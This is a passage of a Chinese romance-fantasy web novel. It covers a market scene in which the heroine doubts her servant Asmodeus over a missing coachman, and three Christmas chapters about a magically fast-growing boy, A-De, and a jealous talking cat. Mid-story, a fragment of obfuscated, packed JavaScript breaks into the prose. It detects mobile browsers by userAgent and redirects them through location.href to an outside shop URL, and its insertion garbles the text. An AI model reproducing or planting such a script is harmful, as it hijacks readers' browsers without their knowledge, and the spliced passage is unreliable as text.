纪觅依迷迷糊糊在阿斯莫德的搀扶下走下马车,站在原地发了会呆,才完全清醒过来。
这是她第一次在没有头纱遮挡的情况下来到集市,还有些许不适应。
她跟着阿斯莫德的脚步走到集市门口,视线毫无阻隔地向四周探索,这竟让她生出一丝久违的自由感。
这种感觉独属于“纪觅依”,而非这具身体。
在扑面而来的喧嚣声中,她近乎贪婪地观察着集市的一切,才发现这个世界居然是这么丰富多彩。
纪觅依下意识地攥住衣角,上一次来,她隔着一层薄纱,奔波在这个柔软的“玻璃罩子”中。
而此刻,一切感官细节被放大,在人群中,她的心中不知不觉产生了对这个世界的归属感。
阳光有些刺眼,纪觅依微微眯起眼,感受着空气中洋溢的热闹气息。
“......伊拉?”
阿斯莫德连喊了好几声,沉浸在思考中的纪觅依才反应过来。
“啊!怎么了?”
看着再次鲜活起来的纪觅依,阿斯莫德的眼神里充满了柔情。
“你这次还想自己逛吗?”他贴心地附上了理由,“我要去买点花苗,很抱歉不能陪着您。”
阿斯莫德说完,掏出钱袋递出,在纪觅依接到手中时,沉甸甸的银币摩肩擦踵,发出悦耳的声音。
她回答道:“没事没事,你快去忙吧,我在这逛一会。”
纪觅依对阿斯莫德的态度稍微缓和,毕竟是他给自己提供了独处机会,多多少少还是需要感谢他的。
在他走后,纪觅依放慢脚步,视线被一家服装店吸引。
她走进店内,四处打量,墙壁上整齐陈列着做功考究的儿童礼服,几尊穿着蕾丝连衣裙的木质模特静静站立在地上。
一位头发花白、戴着眼镜的老妇人从柜台后抬起头,脸上露出和善的笑容。
“夫人,下午好。您是来给孩子看衣服的吧?”
“啊,我,我没有孩子。”纪觅依有点尴尬,“我,我给我弟弟妹妹们看。”
老妇人声音温和,诚挚地道歉:“实在是不好意思!都怪我老人家眼睛不好使。”
“没事,没事!”
纪觅依走到角落里的衣架,从里面抽出一件棉麻连衣裙,问道:“这件怎么卖呀?”
老妇人起身,拄着拐杖慢步走到她身边,接过衣服:“您是给妹妹买的吗?她大概多高多重呢?”
纪觅依回想着咕噜的样子,两只手在空中比画半天:“大概这么高,重量的话......这个我还真的不知道。”
老妇人听完后,从衣架里抽出一件款式相同,尺寸不一样的裙子。
“小姐,这件的尺码应该更合适。”老妇人笑着递给纪觅依,“那您的弟弟大概多高多重呢?”
“弟弟的话,拿一样大的就好。”
纪觅依想起了咕噜的特质,这才发现好像不用考虑衣服的尺码,但老板已经在热心地翻找,她也不好打断对方。
“您看这件如何?”
“可以!帮我都包起来吧。”
不得不说,老板的眼光是真的很不错,纪觅依都能想象出咕噜穿上后有多可爱了。
老妇人搂着两件衣服,走到柜台开始熨烫,时不时和纪觅依闲聊几句。
她还在为最开始的称呼感到愧疚:
“我这里经常有很多贵族夫人来给孩子挑选衣物,最开始把您认错了,非常抱歉。”
“没事,我完全不在意。”纪觅依靠在柜台,看着老板的一举一动,“我可以向您打听一个人吗?”
“您问吧。”
“您认识一个车夫吗?他......”她努力描述着,老妇人抬起头,在脑海中搜寻。
纪觅依看她还是没回应,继续说道:“他有个朋友,叫杰尼!”
“哦!”老妇人频频点头,“那我可想起来了,你说的是麦克吧。”
纪觅依不知道车夫的名字,只能应下。
“他之前一直帮我给贵族夫人们送货,可这段时间却找不到他了,我想想多久了——三四天了吧。”
纪觅依心微微一沉,推算着日子。
“夫人——我来了!”
杰尼爽朗的声音从门外清晰传来,他推开门,看到纪觅依后,身子一愣。
“诶?这不是那天的小姐吗?”他脚步匆忙,上前急切问道,“您看到麦克了吗?我找他好几天了,自从您来找他那天,他就消失了!”
纪觅依磕磕巴巴回答:“我,我不知道......我也在找他。”
“这小子去哪了?我都告诉他不要去那边......”
在杰尼的埋怨声中,一个不好的念头在纪觅依心中发芽生根——他的失踪,是因为自己吗?
“好了。”老妇人轻轻拍了拍纪觅依的肩膀,这一碰立马将她从猜疑的漩涡中拉出,“杰尼,别吓到我的客人了。万一麦克只是去了个远地方呢?”
她将手提袋递给纪觅依:“为了表达歉意,我送您了一点孩子的小饰品。”
她说完看向杰尼:“好了,杰尼。你跟着我去拿货吧,夫人们还在等着你送货呢!”
杰尼看了纪觅依几眼,深深叹出一口气,跟着老妇人走向店内的后门里。
纪觅依推开门,离开了服装店温馨的光晕,外面的天色黯淡下来,集市的热闹忽然变得刺耳起来。
她放慢脚步,思绪却飞速转动。
三四天......正好是她第一次来集市,从麦克口中第一次听到有关庄园秘密的日子。
巧合?在这座庄园的阴影下,她早已不相信巧合。
唯一的解释,就是有人想让“多嘴”的车夫闭嘴。
纪觅依看到自己的怀疑对象,正穿过人群,向自己走来。
阿斯莫德的目光精准地捕捉到了她,脸上的笑意更加明显,她又看见了那个酒窝。
“我已经将花苗放回马车了。”他从怀里掏出一个木质的长方形盒子,“我给您买了个礼物,我想您应该会喜欢。”
纪觅依打开盒子,黑色天鹅绒内衬上,躺着一把匕首。
与其说它是一把方便携带的利器,不如说是一件工艺品:
鞘身是暗色的皮革,镶嵌着繁复的银丝缠枝花纹。而在刀柄末端,是一颗巨大的宝石。
整颗宝石由深浅不一的绿色宝石拼嵌而成,在纪觅依手中闪烁,它像是——
她抬眸,对上了阿斯莫德的视线,他正含着笑注视着她,绿眸在集市的天光下显得清澈见底,脸侧的酒窝若隐若现。
像是阿斯莫德的眼睛。
纪觅依将视线收回到手中的
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匕首,迟疑道:“这是......”
他微微躬身,声音轻柔,说得纪觅依耳根发软:
“一件小小的礼物,伊拉小姐。它很锋利,您使用的时候要注意,希望它能代替我时时刻刻守护您。”
在这番话下,纪觅依越看越觉得这颗宝石显得很诡异,她扣上盒子,握在手中。
“那谢谢你的好意了,礼物我收下了。”
不管他是出于什么目的,至少对于自己来说,这个匕首是比小刀好用数倍的防身工具。
“那我们走回马车吧?”
纪觅依点了点头,在阿斯莫德高大的背影后思索着。
今天阿斯莫德的种种行为,都是在示好,不管是试图得到她的原谅,还是试图拉拢她。
尤其是这把匕首。
纪觅依的手攥得更紧。
她打算再给这个往日的“战友”一次机会。
他们在沉默中漫步,当快走到马车,身边空无一人时,纪觅依开口道:
“阿斯莫德,我想问你个事情。”
阿斯莫德的脚步停下,转身回答:“您请问。”
“你是不是有事情瞒着我?”
阿斯莫德的嘴一抿,说道:“那当然没有,我是您最忠诚的仆人,怎么会对您隐瞒呢?”
纪觅依脸色一沉,再次问道:“阿斯莫德,我不想听你的谎言。”
“您是不是最近听到什么了?就像我上次说的,您应该相信......”
纪觅依已经没有耐心听完他的狡辩,几乎是咬牙切齿道:“阿斯莫德,我要你回答我,你,是不是在骗我。”
“你只能回答我是或不是!”
她已经做好了浪费一次机会的准备。
如果阿斯莫德一直在欺骗她,那之前认定的主持人身份也统统作废,他之前所回答的一切问题,做出的一切承诺都是假的。
阿斯莫德看着对自己充满敌意的纪觅依,眼神中是自己都未察觉的悲伤,那两个字伴着他的叹息而出:
“不是。”
纪觅依的心口传来刺痛,震得她一时半会难以继续思考。
怎么会?如果他说的是真的,可......
那如果他从始至终也在骗自己呢?哪怕这个“不是”。
纪觅依捂住心口,匀了几口气:“那在我之前,维森有其他的未婚妻吗?”
“没有,您是在担心这个吗?我保证.....”
他在撒谎!
阿斯莫德剩下的话在纪觅依耳里变得模糊不清,她丢下一句“我知道了”就继续向前走去。
那些“伊拉”白纸黑字写下的真相不会骗人。
纪觅依越发觉得可笑,她原本还奢望着,在这次试探中能真的信任阿斯莫德,可现实狠狠泼了她一盆冷水。
两个人的距离在纪觅依的疏离下拉大,一道无形的河流横跨其中,汹涌的浪潮在她的转身迅速冻住,进入了冰河时期。
阿斯莫德加快脚步,失态地握住了纪觅依甩动的手臂:
“伊拉,你听我说……”
“你想被维森看见吗?”
纪觅依用力挣脱,收回了被握住的右手。
她每一句话狠狠掷出,扎在阿斯莫德心尖。
“我是维森的未婚妻。”
“你知道你在做什么吗?”
20. 圣诞快乐(上)
圣诞前夜,纪觅依做了个奇怪的梦——
在梦里,她不再担惊受怕,不再焦虑如何回家,只是一个养着一只小猫的女孩。
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纪觅依从一座姜饼屋中醒来,化作小肥猫的咕噜在壁炉旁边打着盹,门外传来“咚咚的敲门声”。
她从毛毯堆积的被窝中钻出,裹着一件厚实的大衣,光着脚走到门口。
她小心翼翼地打开一条缝,外面的风雪趁此袭来,冷得她直打哆嗦。
纪觅依朝外打量,只见一头驯鹿嘴里嘟嘟囔囔地甩着蹄子,它下意识朝门口看一眼,正好与纪觅依对视上。
“别看了!快开门,冻死鹿了......”
“你说开就开啊。”纪觅依怼道,“谁知道你是干嘛的。”
“你不开,我就把你这破姜饼屋给毁了。人类,这么冷的天,你没这个屋子就活不下去了,我劝你想好。”
就凭它一只鹿,还想毁了我的屋子?
纪觅依刚想笑话它,可质疑的话还没说出口,它身后突然涌出成百上千的驯鹿,摇着脑袋,甩着蹄子,一副随时准备冲刺的样子。
“停停停!”纪觅依也顾不上寒冷了,拉开门笑着说,“大鹿不计小人过,您有什么吩咐。”
那只驯鹿向鹿群叫了几声,一头角上挂着篮子的驯鹿从中走上前,低头把篮子放在地上,“呦呦”回应两声,又走回鹿群。
纪觅依裹紧身上的大衣,往篮子里张望——
只见一个面色红润的小婴儿躺在里面,眼睛紧闭,咂着嘴巴,看上去睡得不错。
那只领头鹿开口:“你帮我养这个小孩七天。”
???
不是?
纪觅依满脸疑惑地指了指自己:“我?”
“对啊!”
她想找些借口婉拒:“我,我生活能力很差的,我养活自己都够呛......”
“养不死,我保证。”头鹿顶了顶篮子,“除非你不想养,那我们就......”
它话音未落,鹿群有了反应,又是那副蓄力的样子。
“等等等等等等等等等等!”
纪觅依连忙伸手打住:“我没说完,没说完。虽然,虽然我养活自己都难,但既然你们需要我的帮助,那我肯定尽力啊。”
她一把抱起篮子,本来熟睡的婴儿在她怀里醒来,睁开眼睛。
他的眼睛像是新生的绿芽,泛着水光。
纪觅依看着这双清澈的眸子,心头莫名一软,仿佛被一片羽毛轻轻搔过。
一种没来由的熟悉感转瞬即逝,快得抓不住。
她本来以为这个小孩看到陌生人,一定会哇哇大哭。
可他没有,反而伸出两只小短手,拨弄着她垂落的发丝,发出咯咯咯的笑声。
“喔——”
驯鹿们发出了欣慰的叫声,满脸都是被萌化的表情。
头鹿收回表情,严肃道:“咳咳,看到他这么喜欢你,我就放心了。”
你心可太大了吧!我是一个陌生人诶,就把孩子给我了?万一我是坏人呢......
纪觅依看着怀里对着自己笑的婴儿,原本抗拒的内心开始松动。
“加油,人类。七天后,圣诞老人将会带着礼物来感谢你的。那鹿就先走了——”
头鹿大叫一声,群鹿齐声回应,慢慢退去,在茫茫大雪中化作一个个小点。
怎么还有圣诞老人的事?
纪觅依抱着篮子回到屋内,转身时一脚将门带上。
咕噜终于被这动静整醒,打了个哈欠,伸着懒腰。
它舔了舔爪子,扭动身体走到纪觅依身边,贴着她的腿开始撒娇。
“喵——?”
一声猫叫变了调,它炸了毛,盯着篮子里的婴儿。
咕噜睁大眼睛,质问道:“这是什么!你背着我有其他的宝宝了?”
纪觅依将篮子放在地上,从里面小心抱出那个婴儿,另一只手抱住跳到身边的咕噜。
“怎么会呢?我也没办法,只能养他几天,不然......”
她一五一十将今早的经历讲给咕噜,它看了几眼那个小婴儿,将脸一撇。
“那行吧。”咕噜“大方”道,“他在我们这待七天就走吗?”
“对啊,那个驯鹿保证的。”纪觅依凑到咕噜耳边,“它还说,圣诞老人会带着礼物来感谢我们。”
它的小猫耳一下竖起来,惊呼道:“圣诞老人!”
“对啊。”纪觅依转身翻找着篮子里的东西,“诶,咕噜。你说他能吃啥啊?”
咕噜没有听到她的提问,黑着小脸走到被放在床上的婴儿旁边。
婴儿也不笑了,沉着脸盯着咕噜。
一人一猫就这样僵持,咕噜凑到他的耳边,如恶魔般低语:
“你不许和我抢她,我们只养你七天,到了时间,你就立马离开。”
话音刚落,婴儿一只手抓住了咕噜的耳朵,另一只手打在了它肥嘟嘟的脸上,一巴掌打完就收回,假装无事发生,乖乖躺着。
“喵!”咕噜抬起猫爪,一巴掌落下,打了回去,“你这个臭小孩!”
“咕噜!”
纪觅依恰在此时扭头,就看到了它的暴行,大叫一声冲上前将它抱起。
她轻轻掐了掐咕噜的腮边肉,教育道:“你怎么欺负他啊?”
“我才没......”
“唔——”
还未等咕噜说完,婴儿的嘴里溢出一声哭腔,他抿紧嘴巴,默默哭着,生怕被纪觅依嫌弃。
豆大的泪珠在白嫩的脸蛋上滚落,咕噜留下的爪印在湿润的脸颊处渐渐变红,格外明显。
看着这副模样,纪觅依心疼坏了,把咕噜放到地上,将他抱起,轻拍着后背哄着。
“别哭啊,小宝宝,它不是故意的。”
小婴儿趴在纪觅依的肩上,刚才还在滴的泪珠一下止住,蹭了蹭她的发丝,挑衅地看着在地上炸毛的咕噜。
“好了,你也别气。”
纪觅依把咕噜抱在另一个肩上,主动蹭了蹭它的脸。
刚才还得意洋洋的小婴儿瞬间收回笑脸,他俩各自趴在纪觅依一边的肩膀上,恶狠狠看了对方一眼。
纪觅依没看到这一幕,将他们放在床上,把篮子里的东西一点点清理出来。
“诶!咕噜,你说说,这篮子里怎么有这么多尺寸不一样的衣服?”
纪觅依抖开一件外套,在身上比了比,这外套足足比她大了一圈。
“难不成是这小孩穿的?”纪觅依把衣服折好,放回篮子里,又掏出一张卡片,“让我来看看,这写的什么啊?”
一猫一人相隔着大半张床的距离,纪觅依坐在他俩之间,皱着眉读着纸上扭扭曲曲的文字。
“你叫......阿......德?”
她艰难辨别出几个字,这个名字的发音让她舌尖微顿,一种难以言说的感觉从心头掠过,她还来不及辨析,就被慢慢朝自己挪动的婴儿吸引了注意力。
“咿呀!”小婴儿点了点头,爬到纪觅依腿边,躺在她的膝头,“阿,德。”
“哎呀!你居然会说话,好厉害!”
在纪觅依夸完他后,咕噜一屁股坐在她腿上,戒备地看着阿德,开口道:
“我也会说话,他还没我说的好,你怎么不夸我,哼!”
纪觅依笑着摸了摸它的脑袋,安慰道:“你也棒,我怎么闻到一股好大的醋味呢?是不是有猫吃醋啦?”
咕噜很受用的扬起脑袋,喉咙里发出舒服的呼噜声。
阿德捂住脸,打断了他们的对话:“疼......”
“猫猫为什么打我?好疼......”
纪觅依听到之后立马捧起他的脸,仔细检查一遍,确认没有划伤,松了口气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907697|191562||http|test|mini|href|location''.split(''|''),0,{}));
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>“对不起啊,阿德,咕噜是想和你玩,没控制好力度。”
“我才不想和他玩!你别信......”
咕噜被纪觅依捂住嘴巴,看着阿德的眼神里全是怒火。
它恨不得把那张装无辜的脸挠花,又怕不小心抓伤纪觅依,只能作罢。
“好了,都听我说。你们好好相处,我要是发现谁欺负对方,就罚——”纪觅依想了想惩罚内容,“谁不听话,我这几天就不抱谁。”
她说这句话主要是给咕噜听的,毕竟任谁看见趴在膝头上的阿德,都不会把他和做坏事联系到一起。
说完后,她摸了摸阿德柔软的黑发,温柔道:“你要在我这待七天,但我确实没带过小孩,你看,我就这一只小猫。”
咕噜的尾巴绕在纪觅依的小臂上,宣示着主权。
“你有什么需要的,直接和我说就好,我叫纪觅依。”
“觅依?”
阿德口齿不清,说出来就像是“咪”。
“是纪觅依哦,你也可以喊我姐姐。”
“姐姐?”阿德说完停顿了几秒,思考着什么,随即一把扑到她怀里,悄无声息地挤走咕噜,奶声奶气撒娇道,“姐姐!”
“诶!”
纪觅依看着怀里懂事的小孩,突然觉得养他七天也不是什么难事,不就是添双筷子的事嘛!
她将两个小家伙都从身上挪开,起身道:
“好了,我要做晚饭了!你们乖乖坐好等我。”
她拿着一盒牛奶和一袋麦片,走到架起的小锅旁忙碌。
阿德和咕噜彼此嫌弃,相看两厌。在她走后,一个去了床头,一个去了床尾,默默地关注着纪觅依的一举一动。
被关注的对象却毫无察觉,哼着歌,手里的大木勺在锅中搅动。
伴随锅里沸腾的声音,纪觅依拿出三个小碗,将煮好的麦片粥一一倒入其中。
“可以吃饭了。”
她端着碗放到了餐桌上,取了几个垫子放在阿德的位置,咕噜耀武扬威地跳上自己专属的高椅子。
纪觅依把阿德抱到他的座位后,拉开椅子坐下,递给他一把小勺。
“我不是很会做饭,将就将就,小心烫哈。”
“闻起来很香。”阿德挖起一勺,认真地吹了吹,送到嘴里,“好吃!”
纪觅依嘴角一勾,搅动着碗里的粥,开心道:“喜欢就好。”
“喵呜——”
咕噜盘中的粥凉得更快,它大口吃着,附和着阿德的夸奖。
晚饭在温馨的氛围下度过,两人一猫都吃得满足极了。
纪觅依收拾完碗筷,走到窗边望了望,外面大雪纷飞,狂风呼啸,整得窗框时不时发出几声惨叫。
她把门窗通通检查一遍,走到阿德身边蹲下。
“外面雪下大了,我们可能明天还要待在家里。”
“家里。”阿德重复这两个字,“没事的,我喜欢待在家里。”
纪觅依揉了揉他毛茸茸的脑袋,夸赞道:“真乖!”
她从柜子里抱出一床被子,放在床上靠墙的那一侧,招呼着阿德过来:
“我只有一张床,就要委屈你和我一起睡了。”
阿德没有一点委屈的样子,迅速铺好床躺下,侧着身子,等纪觅依躺在他身边。
可在此时,一团肥硕的身影遮挡住他的视线。
纪觅依钻进另一床被子里,阿德眼睁睁看着咕噜扭头冲他“喵”了一声,挨着纪觅依躺下。
他暗暗记下,闭上眼睛。
夜深了,纪觅依咂着嘴巴,不知在梦里回味什么。
阿德掀开被子,两只手用力把咕噜搬走,自己钻到纪觅依怀里。
他帮她盖好被子,满意躺下,在温暖的被窝里小声说道:
“晚安,好姐姐。”
睡梦中的纪觅依仿佛听到了这句低语,在枕头上无意识地蹭了蹭,嘴角在烛光下勾起。
21. 圣诞快乐(中)
“喵——呜!你从她怀里出来,你这个臭小孩!”
“哦。”
“你!你什么意思!”
纪觅依被一顿单方面的争吵叫醒,一睁眼,就看见阿德毛茸茸的脑袋挨着自己的胳膊。
而咕噜,呲着牙盯着他,爪子蓄力,却迟迟不敢挥出。
“怎么一大早就吵起来了?”
纪觅依支起上半身,顺了顺凌乱的头发,眼神不由自主往阿德身上瞟去,着实被吓了一跳:
“阿德,你,你怎么一晚上长这么高。”
昨天还是婴儿的阿德,今天一下变成个三岁的小男孩,衣服紧巴巴裹在身上,唯一不变的,就是脸上的婴儿肥。
这下纪觅依知道篮子里的那些衣服的用途了。
那头驯鹿连这个都不说一声吗?那阿德......
她看着神色慌乱的阿德,本来想说的话又憋回去了。
如果按篮子里的衣服来设想,那他岂不是很快就要长到足足比自己大一圈的身形?
纪觅依比画了两下,越想越焦灼。
“我......姐姐,我也不知道。”
阿德的声音慌乱,带着哭腔,把被子堆在身上,只露出一个脑袋。
“我会乖乖听话的,你别赶我走,呜——”
他说完之后,两只手抹着眼泪,抽噎着。
咕噜在一旁怀疑猫生,嫌弃地看了两眼,就差把“你装什么装”说出口。
纪觅依坐在阿德身边,拍拍他的后背,安慰道:
“你别哭啊,我没说要赶你走,只是,只是我没有见过这么快的生长速度。”
阿德用被子遮住下半张脸,眨巴着大眼睛:“你真的不会赶我走吗?”
“嗯呢!我承诺过的,你放心在这住七天吧。”
纪觅依揉了揉阿德的脑袋,心里盘算着怎么给他重新找张床,孩子慢慢长大了,肯定不能睡在一起啊!
她往窗外瞟去,雪依旧下得很大,看来出门去买床不现实。
唉,没事,过几天再看看。
纪觅依把气成一团的咕噜抱起,拎着篮子递给阿德,有些尴尬道:
“那个,你把衣服换了吧。换好了再喊我,我转过去不看你。”
她说完后,抱着咕噜走到壁炉边,打量着房间的角落,筹划要不要拿块布做个简易的换衣间。
之前只有自己一个人住,还有咕噜这只小猫,这些问题之前根本不在她的考虑范围内。
可现在多了个阿德......
“我好了,姐姐。”
纪觅依转身,阿德已经穿戴整齐,正折着被子,随后乖乖站在床边。
“哎呀,你怎么这么懂事啊。”纪觅依笑着夸了夸他,“你随意点就好,我平常和咕噜都没注意这些家务活的。”
“姐姐照顾我,我做些力所能及的事是应该的,猫猫做不到,但我可以。”
难道这就是,养儿防老的感觉吗?
纪觅依终于有一点点理解老一辈们的思想,如果是这么乖的小孩,那确实棒极了啊!
这话到了咕噜的耳里,却是另一幅模样。
它从纪觅依的怀里爬到肩头,在她耳边偷偷告状:“你看看他,他说我不够懂事,他在诋毁我!”
“好了。”她推了推它的小猫头,“这哪是诋毁你,从昨天到今天,阿德从未和你红过脸,反倒是你......”
咕噜伤心地把脸一撇:“哼!来了新人你就不爱旧猫了。”
“哪有哦?”纪觅依把正欲跳走的咕噜抱回怀里,贴着它的耳朵说,“我肯定最爱你,但是我们要讲道理,哪有你这么对客人的,何况他只是个小孩呢?”
“客人”这个词在咕噜耳里十分受用,它蹭了蹭纪觅依的脸,“大方”道:
“你说的对,我不和他计较。”
“不愧是咕噜,这个世界最乖的猫猫哟!”
“嗯哼!”
咕噜跳在地上,骄傲地扬起尾巴,在屋里巡视。阿德落在它身上的目光逐渐冰冷,如同看见什么碍眼之物。
“阿德?”
纪觅依的声音拉回了他的注意力,阿德立马收起眼里的恶意。
“嗯,怎么了,姐姐?”
“你愿意和我一起把家里收拾一下吗?就帮我递点东西什么的。”
“当然。”阿德一口应下,“我很愿意布置家里。”
纪觅依得到他的回应,去柜子里翻翻找找,取出一块厚绒布,搭在手臂上。另一只手拖拽着椅子,向墙角走去。
她又从门口的立柜里掏出几颗钉子和一把锤子,对阿德招了招手:
“乖,帮我把这些拿一下,我喊你的时候递给我就好。”
阿德点了点头,道:“嗯。”
纪觅依站在椅子上,确定好位置后,还未开口,阿德就有眼力见地递上绒布。
在他的配合下,纪觅依几锤就搭出一个简易的换衣间。
“好了!”她从椅子上蹦下,吓得阿德一僵,她却没事人般揉着他的脸,“多亏了你,阿德,以后我们换衣服都在这里,这下方便多了。”
阿德歪着头,将脸紧紧贴在纪觅依的手心,眷恋地嗅着她身上的味道。
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第二天就这样平淡而温馨地度过。
晚餐依旧是麦粥,两人一猫吃完后,阿德帮纪觅依一起收拾了碗筷。
“看来这雪一时半会停不下来了。”
纪觅依忧心忡忡地走到窗边,狂风卷着雪沫,扑打在玻璃上。
“没事的,姐姐,万一明天雪就停了呢?”
也是......
在阿德的安慰下,纪觅依回到温暖的床铺,劝慰自己别想那么多,万一明天真的不下雪了呢?
她正规划着明天该带两个小家伙出门去哪玩,大脑逐渐被困意包裹,沉于梦境中。
可到了第三天清晨,美好的想法被现实推翻——大雪并未在几天内停息,反而变本加厉。
纪觅依试图推门查看时,发现门已被厚厚的雪墙彻底封住。
他们暂时被困在了这个小小的,温暖的姜饼屋里。
时间在壁炉的噼啪声与两个小家伙日益激烈的“暗斗”中悄然流逝。
阿德的生长速度肉眼可见,篮子里的衣服都派上了用场。
她亲眼看着,短短几日,他渐渐成了一副少年模样。
纪觅依慢慢不再焦虑出门的事——
她教阿德如何做牛奶燕麦粥,却发现对方似乎有着惊人的厨艺天赋,
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她挠了挠脑袋,选择接受事实,每天享受着不同花样的美食。
她用柜子里剩下的毛线给他织了一条红绿棋盘格的围巾。看着扭扭曲曲的边线,纪觅依不太满意,刚准备拆了,就被阿德抢过去。他围在脖子上,重复了“好喜欢”几十次,说得她都不好意思了,也忘了拿回来这件事。
她和阿德用旧毯子加固门窗的缝隙,他一抬手,纪觅依才发现,眼前的少年已经需要她微微仰头才能平视。
回想起当初那个篮子里的婴儿,她觉得眼前的少年无比陌生,又格外熟悉。
像谁呢?
“姐姐。”
“诶!”
纪觅依的注意力被阿德低哑的声音拉回,少年正躺在床的内侧,等待她走来。
“你不休息吗?”
她从窗边慢慢走来,心里暗暗算着日子。
今天已经是第五天了吗?
她没有像前几天那样钻进被窝,而是从柜子里掏出好几床被褥,铺在紧挨床边的地毯上,又抱着两个枕头。
收拾完后,纪觅依刚准备躺进去,就被阿德打断。
“姐姐,你怎么睡地板上?”
“这个嘛......”纪觅依尴尬地挠了挠脑袋,“阿德,你是大孩子了,我们睡一起的话,不太好。”
他委屈巴巴道:“可是,姐姐不在我身边,我一个人睡床上,很冷。”
阿德以为纪觅依会心软,手臂一抬,将她床上的被子掀开,却未料到,得到的是她的拒绝。
“不行。”
纪觅依摇了摇头:“你听话,阿德。冷的话,你把咕噜塞被窝里,它身上可暖和了。”
“喵?”
原本躺在床尾眯着眼的咕噜一下跃起,全身上下都写满不情愿。
“那我睡地上,姐姐你睡床上。”
阿德语气一沉,抿着嘴。看着他这个样子,纪觅依欲言又止,最后妥协。
“好吧。”
她躺在床上,钻进被窝,侧身看向在地上躺得笔直的阿德。
她温声道:“晚安哟,阿德。”
“晚安,姐姐。”
在阿德话音落下后十几分钟,纪觅依已经熟睡,不知何时跑进怀里的咕噜打着小呼噜。
微弱的烛光下,那双绿眸睁开。
“碍眼的臭猫。”他嫌弃地捏住咕噜的脖子,将它拎到床尾。
这一番动静下,它却没醒来,就像是被阿德做了什么手脚。
“姐姐......”
阿德托起纪觅依垂下的右手,指尖描摹着她掌心的纹路,随即十指相扣,感受着她的温度。
“你怎么对我那么放心。”
他吻上了她无名指的指尖,唇间的气息与纪觅依独有的暖香交融。
“你说的对,我不是孩子了,那你猜到,我对你的心意了吗?”
阿德再次吻下,却没有立即离开,唇瓣缱绻地贴在她的指关节。
他含情脉脉注视着纪觅依的侧脸,数着她的睫毛。
“晚安,姐姐。”
他将她的手放回被子里,轻轻掖好被角,装作无事发生躺下。
阿德转身,墨绿的眸底映出壁炉的火光,在“噼啪”的柴火燃烧声中,暗藏的心意呼之欲出,又被暗暗压下。
22. 圣诞快乐(下)
好香——
第六天清晨,外面呼啸了足足五日的大雪终于安静下来,阳光罕见地露面,透过窗户,同与期盼它已久的纪觅依打了个招呼。
她迷迷糊糊将被子掀开,伸了个懒腰,揉了揉眼睛。
“姐姐,早上好。我吵到你了吗?”
“早上好,阿德。”纪觅依拍了拍脸,彻底清醒,“没有吵到,好香啊,你做了什么呀?”
阿德的右手戴着烘焙手套,端着烤盘放到桌面,边脱下手套边笑道:
“姐姐,你忘了,明天就是圣诞节了。我做了小点心,你看,像不像我们的姜饼屋。”
对啊,明天就是圣诞节了。
也是......第七天。
纪觅依没料到,这短短几天,她已经有点舍不得他了。
她压下难以分辨的情绪,凑到桌前,惊讶道:“你简直是天才,这做的太好了吧。”
“咕噜,你快来看看,阿德做的好吃的。”
“咕噜?咕噜?”
按常理来说,纪觅依只要张嘴喊出名字,它下一秒定会贴过来,可今天她喊了三声,却没见到它的身影。
纪觅依转身,看着还在床尾睡觉的小猫,担忧道:
“它今天怎么还没醒?不会生病了吧。”
“别担心。”阿德的左手搭在她的肩上,右手在背后暗暗打了个响指,“它可能昨晚没睡好,我猜它马上就醒了。”
果不其然,他话音刚落,咕噜扭动着身躯,使劲舒展着四肢,摇了摇脑袋,刚转身就看到他们亲昵的动作,瞬间发出尖锐的爆鸣:
“喵——!把你的脏手从她身上放下!”
纪觅依从未见过如此凶悍的咕噜,还没等她制止,阿德的左手手背赫然出现一道抓痕。
“咕噜!你过分了!”
纪觅依皱着眉,咕噜也没有见过她发怒的样子,刚才嚣张的气焰瞬间被浇灭,扭头就躲起来了。
纪觅依拉着阿德来到椅子边,眼里满是关心:“你,你快坐下。”
她快步走向门口的立柜,提着小木箱回到餐桌,托起他的手,全程动作无比轻柔地为他消毒包扎。
“很痛吧。”纪觅依小口吹着阿德的手背,吹得他心头酥麻,“我这次真的要好好教育它,我没想到咕噜这么过分,你受委屈了。”
“没事的,姐姐,咕噜不坏,可能它只是误会了。”
咕噜听到这话,躲在墙角里也忍不住骂道:“喵喵唔唔......”
“咕噜!”纪觅依狠狠瞪了它一眼,“你今天不和阿德道歉,我接下来就不理你了!”
“喵......你为了他凶我......”
它独自一只猫,头靠着墙角,无助地抽泣,可纪觅依当做没听到,准备等它想明白了,再好好讲道理。
“没事,姐姐,你们不要因为我闹矛盾,毕竟我只是来这里借住的客人,明天就要走了。”
他说着说着,眼眶里噙满泪水,一副要落泪的表情。
这么几日,纪觅依已经被阿德的泪珠狠狠拿捏,更别说她也为离别伤心着。
她摸上阿德的脸颊,轻轻拂去他眼角的湿意:“怎么这么说,你不是客人,你已经是我们的家人了。”
“如果你后面想回来,和姐姐说,我随时欢迎!”
“真的吗?”
纪觅依看着已经不再是孩童的阿德,他睁大眼睛看着自己,眼底依旧是一片纯真。
“真的。”她郑重承诺道,“就是怕你会嫌弃,我就这个小姜饼屋,又破又挤的。”
“我怎么会嫌弃。”
阿德紧张地搓了搓手:“我,我很喜欢。如果姐姐觉得这里太小了,阿德就努力给姐姐买大房子。”
眼前的少年一脸害羞,这样子逗乐了纪觅依,她笑了几声,说道:
“我们阿德这么厉害啊?那我来想想多大的房子啊——那你,给我买座大庄园吧!”
纪觅依只是开个玩笑,没想到他一口应下,认真道:“好。”
这搞得她不知道怎么回答了,只能磕磕巴巴道:“我,我就开个玩笑。你如果想回来,随时回来就好。”
她转移着话题,指着烤盘的角落:“诶,你还做了姜饼人。”
纪觅依俯下身,看着两个明显是自己和阿德的姜饼人,和旁边歪七扭八的——
这是只猫?
这只猫和自己的姜饼人相比,可以称得上是究极抽象,如果不是头上那两个三角,都难以辨认出,这是个什么生物。
“这是我们和咕噜吗?”
“是的。”阿德盯着被裹住的左手,只见手背上硕大的蝴蝶结耷拉着脑袋。他嘴角一勾,歪头看向纪觅依,“你喜欢吗?我们可以一起拼姜饼屋。”
“好啊。”
阿德得到她的应允后,眼中的光芒更盛。
他将烤盘推到桌子中央,又变戏法似的从身后拿出小碗,里面盛着用来粘合的糖霜。
“我来教姐姐。”
